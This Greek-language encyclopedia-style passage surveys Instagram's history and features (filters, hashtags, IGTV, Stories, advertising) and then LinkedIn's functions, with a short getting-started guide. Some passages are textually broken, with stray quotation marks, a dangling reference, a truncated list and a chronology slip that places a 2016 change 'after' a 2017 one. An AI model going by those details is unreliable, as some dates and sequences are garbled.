γρήγορα δημοτικότητα, με ένα εκατομμύριο εγγεγραμμένους χρήστες σε δύο μήνες, 10 εκατομμύρια σε ένα χρόνο και 1 δισεκατομμύριο μέχρι τον Ιούνιο του 2018. Τον Απρίλιο του 2012, η”Facebook Inc. εξαγόρασε την υπηρεσία έναντι περίπου 1 δισεκατομμυρίου δολαρίων ΗΠΑ σε μετρητά και μετοχές. Η έκδοση για Android κυκλοφόρησε τον Απρίλιο του 2012, ακολουθούμενη από μια διεπαφή desktop με περιορισμένες δυνατότητες τον Νοέμβριο του 2012, μια εφαρμογή για Fire OS τον Ιούνιο του 2014 και μια εφαρμογή για Windows 10 τον Οκτώβριο του 2016. Μέχρι τον Οκτώβριο του 2015, είχαν μεταφορτωθεί πάνω από 40

δισεκατομμύρια φωτογραφίες. Αν και συχνά θαυμάζεται για την επιτυχία και την επιρροή του, το Instagram έχει επίσης επικριθεί για τις αρνητικές επιπτώσεις στην ψυχική υγεία των εφήβων, τις αλλαγές στην πολιτική και το περιβάλλον εργασίας του, την υποτιθέμενη λογοκρισία του και το παράνομο και ακατάλληλο περιεχόμενο που ανεβάζουν οι χρήστες.

Χαρακτηριστικά και εργαλεία Μια πρωτότυπη φωτογραφία περικόπτεται αυτόματα σε τετράγωνο από το Instagram, και της προστίθεται ένα φίλτρο κατόπιν επιλογής του χρήστη. Ένα φωτογραφικό κολάζ μιας μη επεξεργασμένης εικόνας που έχει τροποποιηθεί με τα 16 διαφορετικά φίλτρα του Instagram που είναι διαθέσιμα. Οι χρήστες μπορούν να ανεβάζουν φωτογραφίες και σύντομα βίντεο, να ακολουθούν τις ροές άλλων χρηστών και να τοποθετούν γεωγραφικές ετικέτες σε εικόνες με το όνομα μιας τοποθεσίας. Οι χρήστες μπορούν να ορίσουν τον λογαριασμό τους ως "ιδιωτικό", απαιτώντας έτσι να εγκρίνουν κάθε αίτηση νέου ακόλουθου. Τον Σεπτέμβριο του 2011, μια νέα έκδοση της εφαρμογής περιλάμβανε νέα και ζωντανά φίλτρα, άμεση κλίσημετατόπιση, φωτογραφίες υψηλής ανάλυσης, προαιρετικά πλαίσια, περιστροφή με ένα κλικ

και ένα ενημερωμένο εικονίδιο. Οι φωτογραφίες αρχικά περιορίζονταν σε τετράγωνο, αναλογία διαστάσεων 1:1. Από τον Αύγουστο του 2015, η εφαρμογή υποστηρίζει επίσης αναλογίες διαστάσεων πορτραίτου και ευρείας οθόνης. Οι χρήστες μπορούσαν παλαιότερα να δουν έναν χάρτη με τις φωτογραφίες ενός χρήστη με γεωγραφικές ετικέτες. Η λειτουργία καταργήθηκε τον Σεπτέμβριο του 2016, επικαλούμενη χαμηλή χρήση. Από τον Δεκέμβριο του 2016, οι αναρτήσεις μπορούν να "αποθηκεύονται" σε μια ιδιωτική περιοχή της εφαρμογής. Η λειτουργία ενημερώθηκε τον Απρίλιο του 2017 για να επιτρέπει στους χρήστες να οργανώνουν τις αποθηκευμένες αναρτήσεις σε ονομαστικές συλλογές. Οι χρήστες μπορούν επίσης να "αρχειοθετούν" τις αναρτήσεις τους σε μια ιδιωτική περιοχή αποθήκευσης, εκτός ορατότητας για το κοινό και τους άλλους χρήστες. Η κίνηση αυτή θεωρήθηκε ως ένας τρόπος να αποτραπεί η διαγραφή φωτογραφιών από τους χρήστες που δεν συγκεντρώνουν τον επιθυμητό αριθμό "likes" ή θεωρούνται βαρετές, αλλά και ως ένας τρόπος να περιοριστεί η "αναδυόμενη συμπεριφορά" της διαγραφής φωτογραφιών, η οποία στερεί την υπηρεσία από περιεχόμενο. Τον Αύγουστο, το Instagram ανακοίνωσε ότι θα αρχίσει να οργανώνει τα σχόλια σε νήματα, επιτρέποντας στους χρήστες να αλληλοεπιδρούν ευκολότερα με τις απαντήσεις. Από τον Φεβρουάριο του 2017, έως και δέκα φωτογραφίες ή βίντεο μπορούν ”συμπεριληφθούν σε μία μόνο ανάρτηση, με το περιεχόμενο να εμφανίζεται ως ένα καρουσέλ με δυνατότητα σύρσιμου. Η λειτουργία αυτή αρχικά περιόριζε τις φωτογραφίες σε τετράγωνο σχήμα, αλλά έλαβε ενημέρωση τον Αύγουστο για να επιτρέψει αντί αυτού φωτογραφίες πορτραίτου και οριζοντίου σχήματος. Τον Απρίλιο του 2018, το Instagram λάνσαρε τη δική του εκδοχή μιας λειτουργίας ”που ονομάζεται "λειτουργία εστίασης", η οποία θολώνει απαλά το φόντο μιας φωτογραφίας ή ενός βίντεο, ενώ διατηρεί το θέμα σε εστίαση όταν επιλέγεται. Δημιουργούνται ”αυτόματα με τη χρήση αναγνώρισης αντικειμένων είτε καθορίζονται χειροκίνητα από τον uploader Την 1η Μαρτίου του 2021, το Instagram εγκαινίασε μια νέα λειτουργία με την ονομασία Instagram Live "Δωμάτια" που επιτρέπουν σε τέσσερα άτομα να βγουν ζωντανά μαζί. Τον Μάιο του 2021, το Instagram ανακοίνωσε μια νέα λειτουργία προσβασιμότητας για βίντεο στα Instagram Reels και Stories για να επιτρέπει στους δημιουργούς να τοποθετούν κλειστές λεζάντες στο περιεχόμενό τους.

Hashtags

Τον Ιανουάριο του 2011, το Instagram εισήγαγε τα hashtags για να βοηθήσει τους χρήστες να ανακαλύψουν τόσο τις φωτογραφίες όσο και ο ένας τον άλλον. Το Instagram ενθαρρύνει τους χρήστες να κάνουν τις ετικέτες τόσο συγκεκριμένες όσο και σχετικές, αντί να κάνουν ετικέτες με γενικές λέξεις όπως "φωτογραφία", για να κάνουν τις φωτογραφίες να ξεχωρίζουν και να προσελκύουν ομοϊδεάτες χρήστες του Instagram. Οι χρήστες του Instagram έχουν δημιουργήσει "τάσεις" μέσω των hashtags. Οι τάσεις που θεωρούνται οι πιο δημοφιλείς στην πλατφόρμα συχνά επισημαίνουν μια συγκεκριμένη ημέρα της εβδομάδας για την ανάρτηση του υλικού. Παραδείγματα δημοφιλών τάσεων είναι το #SelfieSunday, κατά το οποίο οι χρήστες δημοσιεύουν μια φωτογραφία του προσώπου τους την Κυριακή- το #MotivationMonday, κατά το οποίο οι χρήστες δημοσιεύουν φωτογραφίες με κίνητρα τη Δευτέρα- το #TransformationTuesday, κατά το οποίο οι χρήστες δημοσιεύουν

φωτογραφίες

που

τονίζουν

τις

διαφορές

από

το

”στο

παρόν,

#WomanCrushWednesday, κατά την οποία οι χρήστες δημοσιεύουν φωτογραφίες γυναικών για τις οποίες έχουν ρομαντικό ενδιαφέρον ή τις βλέπουν θετικά, καθώς και το αντίστοιχο #ManCrushMonday με επίκεντρο τους άνδρες- και #ThrowbackThursday, κατά την οποία οι χρήστες δημοσιεύουν μια φωτογραφία από το παρελθόν τους, τονίζοντας μια συγκεκριμένη στιγμή. Τον Δεκέμβριο του 2017, το Instagram άρχισε να επιτρέπει στους χρήστες να ακολουθούν hashtags, τα οποία εμφανίζουν σχετικά στιγμιότυπα του θέματος στις ροές τους. Η καρτέλα επεκτάθηκε αργότερα και πάλι τον Νοέμβριο του 2016, μετά την έναρξη του Instagram Live, για να εμφανίζει μια αλγοριθμικά επιμελημένη σελίδα με τα "καλύτερα" βίντεο Instagram Live που προβάλλονται αυτή τη στιγμή. Τον Μάιο του 2017, το Instagram ενημέρωσε και πάλι την καρτέλα "Εξερεύνηση" για να προωθήσει δημόσιο περιεχόμενο Stories από κοντινά μέρη.

Φωτογραφικά φίλτρα Το Instagram προσφέρει έναν αριθμό φωτογραφικών φίλτρων που οι χρήστες μπορούν να εφαρμόσουν στις εικόνες τους. Τον Φεβρουάριο του 2012, το Instagram πρόσθεσε το φίλτρο "Lux", ένα εφέ που "φωτίζει τις σκιές, σκουραίνει τα φώτα και αυξάνει την αντίθεση. Τον Δεκέμβριο του 2014, τα Slumber, Crema, Ludwig, Aden και Perpetua ήταν πέντε νέα φίλτρα που προστέθηκαν στην οικογένεια φίλτρων του Instagram.

Βίντεο

Αρχικά μια αμιγώς υπηρεσία κοινής χρήσης φωτογραφιών, το Instagram ενσωμάτωσε την κοινή χρήση βίντεο 15 δευτερολέπτων τον Ιούνιο του 2013. Η προσθήκη αυτή θεωρήθηκε από ορισμένους στα τεχνολογικά μέσα ενημέρωσης ως προσπάθεια του Facebook να ανταγωνιστεί την τότε δημοφιλή εφαρμογή κοινής χρήσης βίντεο Vine. Τον Αύγουστο του 2015, το Instagram πρόσθεσε υποστήριξη για βίντεο ευρείας οθόνης. Τον Μάρτιο του 2016, το Instagram αύξησε το όριο βίντεο των 15 δευτερολέπτων σε 60 δευτερόλεπτα. Τον Φεβρουάριο του 2017 εισήχθησαν άλμπουμ, τα οποία επιτρέπουν την κοινοποίηση βίντεο διάρκειας έως και 10 λεπτών σε μία ανάρτηση.

IGTV Το IGTV είναι μια κάθετη εφαρμογή βίντεο που ξεκίνησε από το Instagram τον Ιούνιο του 2018. Βασικές λειτουργίες είναι επίσης διαθέσιμες μέσα στην εφαρμογή και τον ιστότοπο του Instagram. Το IGTV επιτρέπει μεταφορτώσεις βίντεο διάρκειας έως 10 λεπτών με μέγεθος αρχείου έως 650 MB, ενώ οι επαληθευμένοι και δημοφιλείς χρήστες επιτρέπεται να μεταφορτώνουν βίντεο διάρκειας έως 60 λεπτών με μέγεθος αρχείου έως 5,4 GB

Η

εφαρμογή αρχίζει αυτόματα να αναπαράγει βίντεο μόλις ξεκινήσει, κάτι που ο διευθύνων σύμβουλος Kevin Systrom αντιπαραβάλλει με τους οικοδεσπότες βίντεο όπου πρέπει πρώτα να εντοπίσει κανείς ένα βίντεο.

Instagram Ιστορίες Τον Αύγουστο του 2016, το Instagram εγκαινίασε το Instagram Stories, μια λειτουργία που επιτρέπει στους χρήστες να τραβούν φωτογραφίες, να προσθέτουν εφέ και επίπεδα και να τις προσθέτουν στην ιστορία τους στο Instagram. Οι εικόνες που μεταφορτώνονται στην ιστορία ενός χρήστη λήγουν μετά από 24 ώρες. Τα μέσα ενημέρωσης σημείωσαν τις ομοιότητες της λειτουργίας με το Snapchat. Σε απάντηση στην κριτική ότι αντέγραψε λειτουργίες από το Snapchat, ο CEO Kevin Systrom δήλωσε στο Recode ότι "Day One: Instagram was a combination of Hipstamatic, Twitter some stuff from Facebook like the 'Like' button. Μπορείτε να εντοπίσετε τις ρίζες κάθε λειτουργίας που έχει ο καθένας στην εφαρμογή του, κάπου στην ιστορία της τεχνολογίας". Αν και ο Systrom αναγνώρισε την κριτική ως "δίκαιη", το Recode έγραψε ότι "παρομοίασε τα κοινά χαρακτηριστικά των δύο κοινωνικών εφαρμογών με τη βιομηχανία αυτοκινήτων: Πολλές αυτοκινητοβιομηχανίες μπορούν να συνυπάρξουν, με αρκετές διαφορές μεταξύ τους ώστε να εξυπηρετούν

διαφορετικά καταναλωτικά κοινά". Ο Systrom δήλωσε ακόμη ότι "Όταν υιοθετήσαμε τα Stories, αποφασίσαμε ότι ένα από τα πραγματικά ενοχλητικά πράγματα σχετικά με τη μορφή είναι ότι απλά συνέχιζε και δεν μπορούσες να το σταματήσεις για να δεις κάτι, δεν μπορούσες να κάνεις rewind. Τα κάναμε όλα αυτά, τα υλοποιήσαμε". Είπε επίσης στο δημοσίευμα ότι το Snapchat "αρχικά δεν είχε φίλτρα. Υιοθέτησαν τα φίλτρα επειδή το Instagram είχε φίλτρα και πολλοί άλλοι προσπαθούσαν να υιοθετήσουν επίσης φίλτρα. Τον Νοέμβριο, το Instagram πρόσθεσε τη λειτουργία ζωντανών βίντεο στο Instagram Stories, επιτρέποντας στους χρήστες να μεταδίδουν ζωντανά τον εαυτό τους, με το βίντεο να εξαφανίζεται αμέσως μετά το τέλος του. Τον Ιανουάριο του 2017, το Instagram εγκαινίασε διαφημίσεις με δυνατότητα παράλειψης, όπου διαφημίσεις φωτογραφιών πέντε δευτερολέπτων και βίντεο 15 δευτερολέπτων εμφανίζονται μεταξύ διαφορετικών ιστοριών. Τον Απρίλιο του 2017, το Instagram Stories ενσωμάτωσε αυτοκόλλητα επαυξημένης πραγματικότητας, έναν "κλώνο" της λειτουργικότητας του Snapchat. Τον Μάιο του 2017, το Instagram επέκτεινε τη λειτουργία αυτοκόλλητων επαυξημένης πραγματικότητας για να υποστηρίξει φίλτρα προσώπου, επιτρέποντας στους χρήστες να προσθέσουν συγκεκριμένα οπτικά χαρακτηριστικά στο πρόσωπό τους Αργότερα τον Μάιο, το TechCrunch ανέφερε σχετικά με τις δοκιμές μιας λειτουργίας Location Stories στα Instagram Stories, όπου το δημόσιο περιεχόμενο των Stories σε μια συγκεκριμένη τοποθεσία συγκεντρώνεται και εμφανίζεται στη σελίδα Instagram μιας επιχείρησης, ενός ορόσημου ή ενός τόπου. Λίγες ημέρες αργότερα, το Instagram ανακοίνωσε την "Αναζήτηση Story", στην οποία οι χρήστες μπορούν να αναζητήσουν γεωγραφικές τοποθεσίες ή hashtags και η εφαρμογή εμφανίζει σχετικό δημόσιο περιεχόμενο Stories που χαρακτηρίζει τον όρο αναζήτησης. Τον Ιούνιο του 2017, το Instagram αναθεώρησε τη λειτουργικότητα του live-video για να επιτρέψει στους χρήστες να προσθέσουν τη ζωντανή εκπομπή τους στο story τους για διαθεσιμότητα μέσα στις επόμενες 24 ώρες ή να απορρίψουν τη μετάδοση αμέσως. Τον Ιούλιο, το Instagram άρχισε να επιτρέπει στους χρήστες να απαντούν στο περιεχόμενο των Stories στέλνοντας φωτογραφίες και βίντεο, συμπληρωμένα με εφέ Instagram, όπως φίλτρα, αυτοκόλλητα και hashtags. Οι ιστορίες έγιναν διαθέσιμες για προβολή στους ιστότοπους του Instagram για κινητά και επιτραπέζιους υπολογιστές στα τέλη Αυγούστου 2017. Στις 5 Δεκεμβρίου 2017, το Instagram εισήγαγε τα "Story Highlights" γνωστά και ως "Permanent Stories", τα οποία είναι παρόμοια με τα Instagram Stories, αλλά δεν λήγουν. Εμφανίζονται ως κύκλοι κάτω από την εικόνα προφίλ και τη βιογραφία και είναι προσβάσιμες

και από τον ιστότοπο για υπολογιστές. Τον Ιούνιο του 2018, οι καθημερινοί ενεργοί χρήστες ιστοριών του Instagram είχαν φτάσει τα 400 εκατομμύρια χρήστες και οι μηνιαίοι ενεργοί χρήστες είχαν φτάσει το 1 δισεκατομμύριο ενεργούς χρήστες.

Διαφήμιση Η Έμιλι Γουάιτ εντάχθηκε στο Instagram ως Διευθύντρια Επιχειρηματικών Λειτουργιών τον Απρίλιο του 2013. Σε συνέντευξή της στη Wall Street Journal τον Σεπτέμβριο του 2013, δήλωσε ότι η εταιρεία θα πρέπει να είναι έτοιμη να αρχίσει να πουλάει διαφημίσεις μέχρι τον Σεπτέμβριο του 2014, ως ένας τρόπος να δημιουργήσει επιχειρήσεις από μια δημοφιλή οντότητα που δεν είχε ακόμη δημιουργήσει κέρδη για τη μητρική της εταιρεία. Η White εγκατέλειψε το Instagram τον Δεκέμβριο του 2013 για να ενταχθεί στο Snapchat. Τον Αύγουστο του 2014, ο James Quarles έγινε Global Head of Business and Brand Development”του Instagram, επιφορτισμένος με την επίβλεψη της διαφήμισης, των προσπαθειών πωλήσεων και την ανάπτυξη νέων "προϊόντων νομισματοποίησης", σύμφωνα με εκπρόσωπο. Τον Οκτώβριο του 2013, το Instagram ανακοίνωσε ότι οι διαφημίσεις βίντεο και εικόνων θα εμφανίζονταν σύντομα στις ροές για τους χρήστες στις Ηνωμένες Πολιτείες, με τις πρώτες διαφημίσεις εικόνων να εμφανίζονται την 1η Νοεμβρίου 2013. Οι διαφημίσεις βίντεο ακολούθησαν σχεδόν ένα χρόνο αργότερα, στις 30 Οκτωβρίου 2014. Tον Ιούνιο του 2014, το Instagram ανακοίνωσε την ανάπτυξη διαφημίσεων στο Ηνωμένο Βασίλειο, τον Καναδά και την Αυστραλία, με τις διαφημίσεις να αρχίζουν να εμφανίζονται εκείνο το φθινόπωρο. Τον Μάρτιο του 2015, το Instagram ανακοίνωσε ότι θα εφαρμόσει τις "καρουσέλ διαφημίσεις", επιτρέποντας στους διαφημιζόμενους να εμφανίζουν πολλαπλές εικόνες με επιλογές για σύνδεση σε πρόσθετο περιεχόμενο. Η εταιρεία ξεκίνησε τις καρουσέλ διαφημίσεις εικόνων τον Οκτώβριο του 2015 και τις καρουσέλ διαφημίσεις βίντεο τον Μάρτιο του

2016.

Τον

Φεβρουάριο

του

2016,

το

Instagram

ανακοίνωσε

ότι

είχε

200.000”διαφημιζόμενους στην πλατφόρμα. Ο αριθμός αυτός αυξήθηκε σε 500.000 μέχρι τον Σεπτέμβριο του 2016και σε 1 εκατομμύριο τον Μάρτιο του 2017. Τον Μάιο του 2016, το Instagram εγκαινίασε νέα εργαλεία για επιχειρηματικούς λογαριασμούς.

LinkedIn

Το LinkedIn είναι το μεγαλύτερο επαγγελματικό δίκτυο στο διαδίκτυο. Μπορείτε να χρησιμοποιήσετε το LinkedIn για να βρείτε τη σωστή θέση εργασίας ή πρακτικής άσκησης, να συνδεθείτε και να ενισχύσετε τις επαγγελματικές σας σχέσεις και να μάθετε τις δεξιότητες που χρειάζεστε για να πετύχετε στην καριέρα σας. Μπορείτε να αποκτήσετε πρόσβαση στο LinkedIn από έναν επιτραπέζιο υπολογιστή, την εφαρμογή LinkedIn για κινητά, την εμπειρία web για κινητά ή την εφαρμογή LinkedIn Lite για κινητά Android.

Ένα πλήρες προφίλ στο LinkedIn μπορεί να σας βοηθήσει να συνδεθείτε με ευκαιρίες, προβάλλοντας τη μοναδική επαγγελματική σας ιστορία μέσω της εμπειρίας, των δεξιοτήτων και της εκπαίδευσης σας. Μπορείτε επίσης να χρησιμοποιήσετε το LinkedIn για να οργανώνετε εκδηλώσεις εκτός σύνδεσης, να συμμετέχετε σε ομάδες, να γράφετε άρθρα, να δημοσιεύετε φωτογραφίες και βίντεο και πολλά άλλα. Το LinkedIn είναι μια διαδικτυακή πλατφόρμα που συνδέει τους επαγγελματίες του κόσμου. Ακολουθούν μερικά βήματα για να ξεκινήσετε στο LinkedIn: 1) Δημιουργήστε το προφίλ σας: Η εγγραφή και η δημιουργία του προφίλ σας είναι ο καλύτερος τρόπος για να ξεκινήσετε τη χρήση του LinkedIn. Ένα πλήρες προφίλ στο LinkedIn θα συνοψίσει την επαγγελματική σας εμπειρία στις συνδέσεις σας, στους σημερινούς και μελλοντικούς εργοδότες και στους

υπεύθυνους προσλήψεων. Μέσω του προφίλ σας, μπορείτε να παρουσιάσετε την επαγγελματική σας ζωή, τα ορόσημα, τις δεξιότητες και τα ενδιαφέροντά σας. 2) Δημιουργήστε το δίκτυό σας: Το δίκτυό σας παίζει καθοριστικό ρόλο στην απελευθέρωση της δύναμης του LinkedIn. Θα σας βοηθήσει να κατανοήσετε τι συμβαίνει στον κλάδο και τον επαγγελματικό σας κύκλο. Μπορείτε να ξεκινήσετε προσθέτοντας στο δίκτυό σας την οικογένειά σας, τους φίλους σας, πρώην ή νυν συμμαθητές σας και συναδέλφους σας. Μπορείτε επίσης να ακολουθήσετε άτομα, εταιρείες ή θέματα, μεταβαίνοντας απευθείας στη σελίδα Follow fresh perspectives (Ακολουθήστε νέες προοπτικές), η οποία εμφανίζει στις συνιστώμενες πηγές προς παρακολούθηση. Μπορείτε να χρησιμοποιήσετε τη λειτουργία Εκδηλώσεις του LinkedIn για να δημιουργήσετε και να συμμετάσχετε σε επαγγελματικές Εκδηλώσεις, όπως διαδικτυακά εργαστήρια, σεμινάρια, εκδηλώσεις πωλήσεων και μάρκετινγκ, εκδηλώσεις δικτύωσης και άλλα. 3) Βρείτε μια θέση εργασίας: Εάν αναζητάτε μια νέα επαγγελματική ευκαιρία, μπορείτε να ξεκινήσετε την αναζήτηση εργασίας στο LinkedIn. Μπορείτε να χρησιμοποιήσετε το LinkedIn για να ερευνήσετε εταιρείες και να απευθυνθείτε στην κοινότητα προσλήψεων. Μπορείτε επίσης να υποβάλετε απευθείας αιτήσεις για ρόλους, να αποθηκεύετε αναζητήσεις εργασίας και να ενημερώνετε τις συνδέσεις σας και τους υπεύθυνους προσλήψεων ότι είστε ανοιχτοί για ευκαιρίες απασχόλησης. 4)Συμμετέχετε σε συζητήσεις: Μπορείτε εύκολα να συμμετέχετε σε συζητήσεις στο LinkedIn. Η συμμετοχή σε συζητήσεις μπορεί να σας επιτρέψει να μοιραστείτε την άποψή σας για σχετικά ζητήματα και θέματα με άλλους. Μπορείτε να κάνετε like και να σχολιάζετε αναρτήσεις και άρθρα στο LinkedIn. Μπορείτε να δημιουργήσετε ή να συμμετάσχετε σε ομάδες LinkedIn για να συνδεθείτε ”να αναπτυχθείτε με μέλη που μοιράζονται τα ίδια ενδιαφέροντα, εμπειρίες ή φιλοδοξίες με εσάς. Μπορείτε επίσης να χρησιμοποιήσετε ένα σύνολο ελαφρών εκφράσεων που ονομάζονται αντιδράσεις LinkedIn, για να επικοινωνείτε εύκολα με το δίκτυό σας.

Βασική λειτουργικότητα Αρχική σελίδα του LinkedIn

Η βασική λειτουργικότητα του LinkedIn επιτρέπει στους χρήστες να δημιουργούν προφίλ, τα οποία για τους εργαζόμενους αποτελούνται συνήθως από ένα βιογραφικό σημείωμα που περιγράφει την εργασιακή τους εμπειρία, την εκπαίδευση και κατάρτιση, τις δεξιότητες και μια προσωπική φωτογραφία. Οι εργοδότες μπορούν να καταχωρούν θέσεις εργασίας και να αναζητούν πιθανούς υποψηφίους. Οι χρήστες μπορούν να βρουν θέσεις εργασίας, άτομα και επιχειρηματικές ευκαιρίες που συνιστώνται από κάποιον στο δίκτυο επαφών τους. Οι χρήστες μπορούν να αποθηκεύουν θέσεις εργασίας για τις οποίες θα ήθελαν να υποβάλουν αίτηση. Οι χρήστες έχουν επίσης τη δυνατότητα να ακολουθούν διάφορες εταιρείες. Ο ιστότοπος δίνει επίσης τη δυνατότητα στα μέλη να δημιουργούν "συνδέσεις" μεταξύ τους σε ένα διαδικτυακό κοινωνικό δίκτυο που μπορεί να αντιπροσωπεύει πραγματικές επαγγελματικές σχέσεις. Τα μέλη μπορούν να προσκαλέσουν οποιονδήποτε να γίνει σύνδεσμος. Οι χρήστες μπορούν να λάβουν συστάσεις στις συνδέσεις των συνδέσεων (αποκαλούμενες συνδέσεις δευτέρου βαθμού) και στις συνδέσεις των συνδέσεων δευτέρου βαθμού (αποκαλούμενες συνδέσεις τρίτου βαθμού). Ο κατάλογος συνδέσεων ενός μέλους μπορεί να χρησιμοποιηθεί με διάφορους τρόπους. Για παράδειγμα, οι χρήστες μπορούν να αναζητήσουν συνδέσμους δευτέρου βαθμού που εργάζονται σε μια εταιρεία που τους ενδιαφέρει και στη συνέχεια να ζητήσουν από έναν συγκεκριμένο κοινό σύνδεσμο πρώτου βαθμού να τους συστήσει. Η "προσέγγιση της κλειστής πρόσβασης" (όπου η επαφή με οποιονδήποτε επαγγελματία απαιτεί είτε μια υφιστάμενη σχέση είτε την παρέμβαση μιας επαφής του) αποσκοπεί στην οικοδόμηση εμπιστοσύνης μεταξύ των χρηστών της υπηρεσίας. Το LinkedIn συμμετείχε στις διεθνείς αρχές προστασίας της ιδιωτικής ζωής Safe Harbor της ΕΕ. Οι χρήστες μπορούν να αλληλεπιδρούν μεταξύ τους με διάφορους τρόπους: Οι συνδέσεις μπορούν να αλληλεπιδρούν επιλέγοντας να κάνουν "like" σε αναρτήσεις και να "συγχαίρουν" τους άλλους για ενημερώσεις όπως γενέθλια, επετείους και νέες θέσεις, καθώς και με απευθείας μηνύματα. Οι χρήστες μπορούν να μοιράζονται βίντεο με κείμενο και φίλτρα με την εισαγωγή του LinkedIn Video. Οι χρήστες μπορούν να γράφουν αναρτήσεις και άρθρα εντός της πλατφόρμας LinkedIn για να τα μοιράζονται με το δίκτυό τους. Από τον Σεπτέμβριο του 2012 το LinkedIn δίνει τη δυνατότητα στους χρήστες να "υποστηρίζουν" ο ένας τις δεξιότητες του άλλου. Ωστόσο, δεν υπάρχει κανένας τρόπος επισήμανσης παρά μόνο θετικού περιεχομένου. Το LinkedIn ζητάει εγκρίσεις χρησιμοποιώντας αλγόριθμους που δημιουργούν δεξιότητες που μπορεί να έχουν τα μέλη. Τα μέλη δεν μπορούν να εξαιρεθούν

από αυτές τις προσκλήσεις, με αποτέλεσμα μερικές φορές να φαίνεται ότι ένα μέλος ζητά έγκριση για μια ανύπαρκτη δεξιότητα.

Εφαρμογές Οι "εφαρμογές" του LinkedIn αναφέρονται συχνά σε εξωτερικές εφαρμογές τρίτων που αλληλεπιδρούν με το API προγραμματιστών του LinkedIn. Ωστόσο, σε ορισμένες περιπτώσεις, θα μπορούσε να αναφέρεται σε εγκεκριμένες εφαρμογές που εμφανίζονται στη σελίδα προφίλ ενός χρήστη. Εξωτερικές εφαρμογές τρίτων Τον Φεβρουάριο του 2015 το LinkedIn δημοσίευσε ενημερωμένους όρους χρήσης για το API προγραμματιστών του. Το API προγραμματιστών επιτρέπει τόσο σε εταιρείες όσο και σε ιδιώτες τη δυνατότητα αλληλεπίδρασης με τα δεδομένα του LinkedIn μέσω της δημιουργίας διαχειρίσιμων εφαρμογών τρίτων. Οι εφαρμογές πρέπει να περνούν από μια διαδικασία εξέτασης και να ζητούν άδεια από τον χρήστη πριν αποκτήσουν πρόσβαση στα δεδομένα ενός χρήστη. Η κανονική χρήση του API περιγράφεται στα έγγραφα για προγραμματιστές της LinkedIn μεταξύ άλλων: -

Σύνδεση σε εξωτερικές υπηρεσίες με χρήση του LinkedIn

-

Προσθήκη στοιχείων ή χαρακτηριστικών σε ένα προφίλ χρήστη

-

Κοινοποίηση στοιχείων ή άρθρων στο χρονολόγιο του χρήστη

Ενσωμάτωση στο προφίλ Τον Οκτώβριο του 2008, το LinkedIn ενεργοποίησε μια "πλατφόρμα εφαρμογών", η οποία επιτρέπει την ενσωμάτωση εξωτερικών διαδικτυακών υπηρεσιών στη σελίδα προφίλ ενός μέλους. Μεταξύ των αρχικών εφαρμογών ήταν μια Λίστα Ανάγνωσης της Amazon που επιτρέπει στα μέλη του LinkedIn να εμφανίζουν τα βιβλία που διαβάζουν, μια σύνδεση με το Tripit και μια εφαρμογή Six Apart, WordPress και TypePad που επιτρέπει στα μέλη να εμφανίζουν τις τελευταίες αναρτήσεις τους στο ιστολόγιό τους μέσα στο προφίλ τους στο LinkedIn. Τον Νοέμβριο του 2010, το LinkedIn επέτρεψε στις επιχειρήσεις να παραθέτουν προϊόντα και υπηρεσίες στις σελίδες του εταιρικού προφίλ- επέτρεψε επίσης στα μέλη του LinkedIn να "προτείνουν" προϊόντα και υπηρεσίες και να γράφουν κριτικές. Λίγο αργότερα, ορισμένες από τις εξωτερικές υπηρεσίες δεν υποστηρίζονταν πλέον, συμπεριλαμβανομένης της Λίστας Ανάγνωσης της Amazon.

Κινητό Μια έκδοση του ιστότοπου για κινητά ξεκίνησε τον Φεβρουάριο του 2008 και έγινε διαθέσιμη σε έξι γλώσσες: Τον Ιανουάριο του 2011, το LinkedIn εξαγόρασε την CardMunch, έναν κατασκευαστή εφαρμογών για κινητά που σαρώνει επαγγελματικές κάρτες και τις μετατρέπει σε επαφές. Τον Ιούνιο του 2013, η CardMunch σημειώθηκε ως διαθέσιμη εφαρμογή του LinkedIn. Τον Οκτώβριο του 2013, το LinkedIn ανακοίνωσε μια υπηρεσία για χρήστες iPhone με την ονομασία "Intro", η οποία εισάγει μια μικρογραφία του προφίλ LinkedIn ενός ατόμου στην αλληλογραφία με το εν λόγω άτομο κατά την ανάγνωση μηνυμάτων ηλεκτρονικού ταχυδρομείου στο εγγενές πρόγραμμα Mail του iOS. Αυτό επιτυγχάνεται με την εκ νέου δρομολόγηση όλων των μηνυμάτων ηλεκτρονικού ταχυδρομείου από και προς το iPhone μέσω των διακομιστών του LinkedIn, κάτι που σύμφωνα με την εταιρεία ασφαλείας Bishop Fox έχει σοβαρές επιπτώσεις στην ιδιωτικότητα, παραβιάζει τις πολιτικές ασφαλείας πολλών οργανισμών και μοιάζει με επίθεση man-in-the-middle.

Ομάδες Το LinkedIn υποστηρίζει επίσης καθημερινά τον σχηματισμό ομάδων συμφερόντων. Το 2012 υπήρχαν 1.248.019 τέτοιες ομάδες, των οποίων τα μέλη κυμαίνονται από 1 έως 744.662. Οι ομάδες υποστηρίζουν μια περιορισμένης μορφής περιοχή συζήτησης, η οποία συντονίζεται από τους ιδιοκτήτες και τους διαχειριστές των ομάδων. Οι ομάδες μπορεί να είναι ιδιωτικές, προσβάσιμες μόνο στα μέλη ή να είναι ανοιχτές στους χρήστες του διαδικτύου γενικά για ανάγνωση, αν και πρέπει να γίνουν μέλη για να δημοσιεύσουν μηνύματα. Δεδομένου ότι οι ομάδες προσφέρουν τη δυνατότητα να προσεγγίσουν ένα ευρύ κοινό χωρίς να εμπίπτουν τόσο εύκολα σε λύσεις κατά του spam, υπάρχει μια συνεχής ροή αναρτήσεων spam, και υπάρχει πλέον μια σειρά από εταιρείες που προσφέρουν υπηρεσίες spam για αυτόν ακριβώς το σκοπό. Το LinkedIn έχει επινοήσει μερικούς μηχανισμούς για να μειώσει τον όγκο των ανεπιθύμητων μηνυμάτων, πήρε την απόφαση να αφαιρέσει τη δυνατότητα των ιδιοκτητών των ομάδων να επιθεωρούν τη διεύθυνση ηλεκτρονικού ταχυδρομείου των νέων μελών προκειμένου να διαπιστώσουν αν πρόκειται για spammers. Οι ομάδες ενημερώνουν επίσης τα μέλη τους μέσω μηνυμάτων ηλεκτρονικού ταχυδρομείου με ενημερώσεις της ομάδας, συμπεριλαμβανομένων των πιο πολυσυζητημένων συζητήσεων στους επαγγελματικούς σας κύκλου.

